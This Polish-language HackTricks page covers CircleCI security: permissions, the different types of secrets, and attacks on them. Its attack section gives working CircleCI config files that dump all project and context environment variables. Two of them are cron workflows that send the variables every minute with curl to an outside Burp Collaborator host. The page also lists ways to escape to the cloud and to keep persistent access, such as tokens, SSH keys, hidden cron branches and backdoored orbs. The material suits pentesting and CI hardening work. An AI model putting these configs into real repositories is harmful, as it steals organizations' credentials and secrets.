CircleCI Security

Support HackTricks

Podstawowe informacje

CircleCI to platforma Continuous Integration, na której możesz definiować szablony wskazujące, co chcesz, aby zrobiła z kodem i kiedy to zrobić. W ten sposób możesz automatyzować testowanie lub wdrożenia bezpośrednio z głównej gałęzi repozytorium na przykład.

Uprawnienia

CircleCI dziedziczy uprawnienia z github i bitbucket związane z konto, które się loguje. W moich testach sprawdziłem, że tak długo, jak masz uprawnienia do zapisu w repozytorium na githubie, będziesz mógł zarządzać ustawieniami projektu w CircleCI (ustawiać nowe klucze ssh, uzyskiwać klucze api projektu, tworzyć nowe gałęzie z nowymi konfiguracjami CircleCI...).

Jednak musisz być administratorem repozytorium, aby przekształcić repozytorium w projekt CircleCI.

Zmienne środowiskowe i sekrety

Zgodnie z dokumentacją istnieją różne sposoby ładowania wartości do zmiennych środowiskowych w ramach workflow.

Wbudowane zmienne środowiskowe

Każdy kontener uruchamiany przez CircleCI zawsze będzie miał specyficzne zmienne środowiskowe zdefiniowane w dokumentacji takie jak CIRCLE_PR_USERNAME, CIRCLE_PROJECT_REPONAME lub CIRCLE_USERNAME.

Tekst jawny

Możesz je zadeklarować w tekście jawnym wewnątrz komendy:

- run:
name: "set and echo"
command: |
SECRET="A secret"
echo $SECRET

Możesz zadeklarować je w czystym tekście wewnątrz środowiska uruchomieniowego:

- run:
name: "set and echo"
command: echo $SECRET
environment:
SECRET: A secret

Możesz zadeklarować je w czystym tekście wewnątrz build-job environment:

jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

Możesz zadeklarować je w czystym tekście wewnątrz środowiska kontenera:

jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

Sekrety projektu

To są sekrety, które będą dostępne tylko dla projektu (dla każdej gałęzi). Możesz je zobaczyć zadeklarowane w https://app.circleci.com/settings/project/github/<org_name>/<repo_name>/environment-variables

Funkcjonalność "Import Variables" pozwala na importowanie zmiennych z innych projektów do tego.

Sekrety kontekstu

To są sekrety, które są ogólnodostępne w organizacji. Domyślnie każde repo będzie mogło uzyskać dostęp do każdego sekretu przechowywanego tutaj:

Należy jednak zauważyć, że można wybrać inną grupę (zamiast wszystkich członków), aby przyznać dostęp do sekretów tylko wybranym osobom. To jest obecnie jeden z najlepszych sposobów na zwiększenie bezpieczeństwa sekretów, aby nie pozwalać wszystkim na ich dostęp, ale tylko niektórym osobom.

Ataki

Wyszukiwanie sekretów w czystym tekście

Jeśli masz dostęp do VCS (takiego jak github), sprawdź plik .circleci/config.yml w każdym repo na każdej gałęzi i wyszukaj potencjalne sekrety w czystym tekście przechowywane tam.

Zmienne środowiskowe sekretów i enumeracja kontekstu

Sprawdzając kod, możesz znaleźć wszystkie nazwy sekretów, które są używane w każdym pliku .circleci/config.yml. Możesz również uzyskać nazwy kontekstów z tych plików lub sprawdzić je w konsoli internetowej: https://app.circleci.com/settings/organization/github/<org_name>/contexts.

Ekstrakcja sekretów projektu

Aby ekstrahować WSZYSTKIE sekrety projektu i kontekstu, wystarczy mieć dostęp do ZAPISU do tylko 1 repo w całej organizacji github (a twoje konto musi mieć dostęp do kontekstów, ale domyślnie każdy może uzyskać dostęp do każdego kontekstu).

Funkcjonalność "Import Variables" pozwala na importowanie zmiennych z innych projektów do tego. Dlatego atakujący mógłby zaimportować wszystkie zmienne projektu ze wszystkich repo i następnie ekstrahować je wszystkie razem.

Wszystkie sekrety projektu są zawsze ustawione w zmiennych środowiskowych zadań, więc wystarczy wywołać env i obfuscować to w base64, aby ekstrahować sekrety w konsoli logów internetowych workflow:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env

Jeśli nie masz dostępu do konsoli internetowej, ale masz dostęp do repozytorium i wiesz, że używany jest CircleCI, możesz po prostu utworzyć workflow, który jest wyzwalany co minutę i wykrada sekrety do zewnętrznego adresu:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env

Ekstrahować sekrety kontekstu

Musisz określić nazwę kontekstu (to również ekstrahuje sekrety projektu):

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env:
context: Test-Context

Jeśli nie masz dostępu do konsoli internetowej, ale masz dostęp do repozytorium i wiesz, że używany jest CircleCI, możesz po prostu zmodyfikować workflow, który jest wyzwalany co minutę i który wykrada sekrety do zewnętrznego adresu:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env:
context: Test-Context

Po prostu stworzenie nowego .circleci/config.yml w repozytorium nie wystarczy, aby uruchomić budowę w circleci. Musisz włączyć to jako projekt w konsoli circleci.

Ucieczka do Chmury

CircleCI daje Ci możliwość uruchamiania swoich budów na ich maszynach lub na własnych. Domyślnie ich maszyny znajdują się w GCP, i początkowo nie będziesz w stanie znaleźć niczego istotnego. Jednak, jeśli ofiara uruchamia zadania na swoich własnych maszynach (potencjalnie w środowisku chmurowym), możesz znaleźć punkt końcowy metadanych chmury z interesującymi informacjami.

Zauważ, że w poprzednich przykładach wszystko było uruchamiane wewnątrz kontenera docker, ale możesz również poprosić o uruchomienie maszyny wirtualnej (która może mieć różne uprawnienia chmurowe):

jobs:
exfil-env:
#docker:
#  - image: cimg/base:stable
machine:
image: ubuntu-2004:current

Lub nawet kontener docker z dostępem do zdalnej usługi docker:

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- setup_remote_docker:
version: 19.03.13

Persistence

  • Możliwe jest tworzenie tokenów użytkowników w CircleCI do uzyskania dostępu do punktów końcowych API z dostępem użytkowników.

  • https://app.circleci.com/settings/user/tokens

  • Możliwe jest tworzenie tokenów projektów do uzyskania dostępu do projektu z uprawnieniami nadanymi tokenowi.

  • https://app.circleci.com/settings/project/github/<org>/<repo>/api

  • Możliwe jest dodawanie kluczy SSH do projektów.

  • https://app.circleci.com/settings/project/github/<org>/<repo>/ssh

  • Możliwe jest tworzenie zadania cron w ukrytej gałęzi w nieoczekiwanym projekcie, które leak wszystkie zmienne środowiskowe kontekstu codziennie.

  • Lub nawet stworzenie w gałęzi / modyfikacja znanego zadania, które będzie leak wszystkie konteksty i sekrety projektów codziennie.

  • Jeśli jesteś właścicielem githuba, możesz zezwolić na niezweryfikowane orby i skonfigurować jeden w zadaniu jako tylną furtkę.

  • Możesz znaleźć vulnerabilność wstrzykiwania poleceń w niektórych zadaniach i wstrzykiwać polecenia za pomocą sekretu, modyfikując jego wartość.

Support HackTricks

Last updated